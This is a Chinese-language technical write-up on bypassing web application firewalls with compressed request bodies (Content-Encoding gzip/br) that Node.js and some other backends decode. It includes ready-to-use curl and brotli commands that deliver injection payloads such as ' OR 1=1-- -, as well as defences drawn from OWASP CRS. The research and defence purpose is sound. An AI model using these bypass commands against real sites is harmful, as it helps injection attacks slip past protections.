利用 Content-Encoding 协议差异绕过 WAF 技术分析与实践
1. 核心原理:WAF 与后端服务的协议解析差异
常规认知中,Content-Encoding HTTP 头通常用于服务器响应,以告知客户端响应的正文(Body)使用了何种编码(或压缩)方式(如 gzip, deflate),客户端据此进行解码。
然而,根据 RFC 9110 (HTTP Semantics) 第 8.4 节 的定义:
Content-Encoding用于指示消息内容(message content) 的编码转换,并未严格限定其仅能用于响应。- 该RFC指出,服务器若收到带有不支持编码方式的请求,应当返回
415 Unsupported Media Type。
这从协议标准上明确了在HTTP请求中使用 Content-Encoding 头是合法的。但由于几乎没有主流浏览器或HTTP客户端会主动发送压缩后的请求体,这使得该特性成为一个极为冷门的角落。
关键差异点:
- WAF (Web Application Firewall): 作为请求的中间检查者,其设计目标通常是处理常见的、未编码的明文请求。许多WAF的实现未考虑到处理这种冷门的、压缩的请求体,因此会直接将其作为“无法解析”的内容而选择跳过检查或默认放行。
- 后端服务 (Web Server/Application Framework): 一些实现了完整HTTP协议栈的Web框架,其代码设计上对请求和响应的处理逻辑是共用的。这意味着,原本为解析压缩响应体而编写的解码器,同样可以应用于处理压缩请求体。
这种WAF与后端服务在协议支持度上的认知差和实现差,构成了完美的绕过条件。
2. 受影响的常见后端服务
并非所有Web服务器和框架都支持解析压缩的请求体。经原文作者测试,以下常见技术栈支持此特性:
| 技术栈 | 支持的编码方式 | 备注 |
|---|---|---|
| Node.js (及 Express, Koa 等框架) | gzip, deflate, br (brotli) |
利用价值最高,应用极其广泛。 |
| aiohttp (Python) | gzip, deflate, br, zstd |
常用作异步HTTP客户端/服务器。 |
Apache HTTPD + mod_deflate |
gzip, deflate |
需手动配置 InputFilter,默认不启用,实战中少见。 |
| Warp (Rust) | gzip, deflate, br |
需在服务端代码中手动启用,默认不启用,实战中少见。 |
结论: 在实际渗透测试中,若识别出目标后端为 Node.js 或基于其的框架,此绕过手法的成功率最高。
3. 利用方法 (PoC)
攻击者需要构造一个特殊的HTTP请求,其Body是经过压缩的恶意载荷(如SQL注入、命令注入、SSRF等Payload),并在请求头中指明对应的编码方式。
3.1 使用 Gzip 压缩
# 将恶意Payload写入文件或直接通过管道压缩
echo "您的恶意Payload,例如:' OR 1=1-- -" | gzip -f -c > payload.gz
# 使用curl发送请求
curl -v http://target.com/vulnerable/endpoint \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @payload.gz
# 或使用管道一步完成
echo "您的恶意Payload" | gzip -f | curl -v http://target.com/vulnerable/endpoint \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @-
3.2 使用 Brotli 压缩(推荐)
Brotli (br) 相比Gzip是更新、更不常见的压缩算法。一些现代WAF可能会尝试自动解压gzip内容进行检查,但对br的支持更差,因此绕过效果通常更好。
# 首先确保系统安装了brotli工具(例如:apt install brotli)
echo "您的恶意Payload" | brotli -9 -f -c > payload.br
curl -v http://target.com/vulnerable/endpoint \
-H "Content-Type: application/json" \
-H "Content-Encoding: br" \
--data-binary @payload.br
# 管道方式
echo "您的恶意Payload" | brotli -9 -f | curl -v http://target.com/vulnerable/endpoint \
-H "Content-Type: application/json" \
-H "Content-Encoding: br" \
--data-binary @-
重要提示: Brotli 在对非常短的字符串进行编码时,可能会因为压缩无法获益而直接返回明文。因此,为确保混淆效果,Payload需要有一定的长度(可添加大量无用注释或填充字符)。
3.3 注意事项
- Content-Type: 必须设置正确的
Content-Type头(如application/json,application/x-www-form-urlencoded),以确保后端应用服务器能正确地将解码后的Body解析为参数。 - 工具支持: 确保用于压缩和发送命令的本地环境已安装相应的压缩工具(
gzip,brotli)。
4. 防御与检测方案
4.1 对于WAF厂商/运维人员
- 参考OWASP CRS规则集: 这是目前已知能有效防御此手法的公开规则集。其策略是:将不支持的
Content-Encoding类型列入受限头列表,直接拒绝请求。- 相关规则路径:
REQUEST-901-INITIALIZATION.conf - 关键配置示例:
# 定义允许的请求Content-Encoding类型,通常只应为空或identity SecRule REQUEST_HEADERS:Content-Encoding "!^$|^identity$" "phase:1,log,denom,status:415,id:901165,t:lowercase,msg:'Request Content-Encoding is not allowed by policy',tag:paranoia-level/1"
- 相关规则路径:
- 增强解码能力: WAF应具备解压常见编码(
gzip,deflate,br)的能力,并对解码后的原始内容进行安全检测。
4.2 对于后端开发人员
- 显式关闭不支持的功能: 如果应用不需要接受压缩的请求,应在Web服务器或框架配置中显式禁用此功能。
- 在应用层进行输入处理: 不要完全依赖WAF。在应用自身逻辑中,对输入进行严格的校验和过滤。
5. 延伸思考
此案例揭示了WAF绕过的核心思路之一:利用协议规范中的冷门特性,制造中间设备(WAF)与最终解析者(后端服务)之间的处理差异。
研究人员可以循此思路,继续探索其他可能的协议层绕过点:
- Transfer-Encoding: 虽然RFC允许多个编码值(如
chunked, gzip),但主流后端实现通常只支持chunked,利用难度较大,但仍可深入研究。 - HTTP/2、HTTP/3 特性: 新协议带来的新特性可能产生新的解析差异。
- 非标准头或非标准用法: 研究各种Web框架和服务器对非标准头或标准头非标准用法的独特解析行为。
免责声明:本文档仅用于安全技术研究和教学目的,旨在帮助企业和开发者提升其安全防护能力。请勿将文中所述技术用于任何非法渗透测试或攻击活动。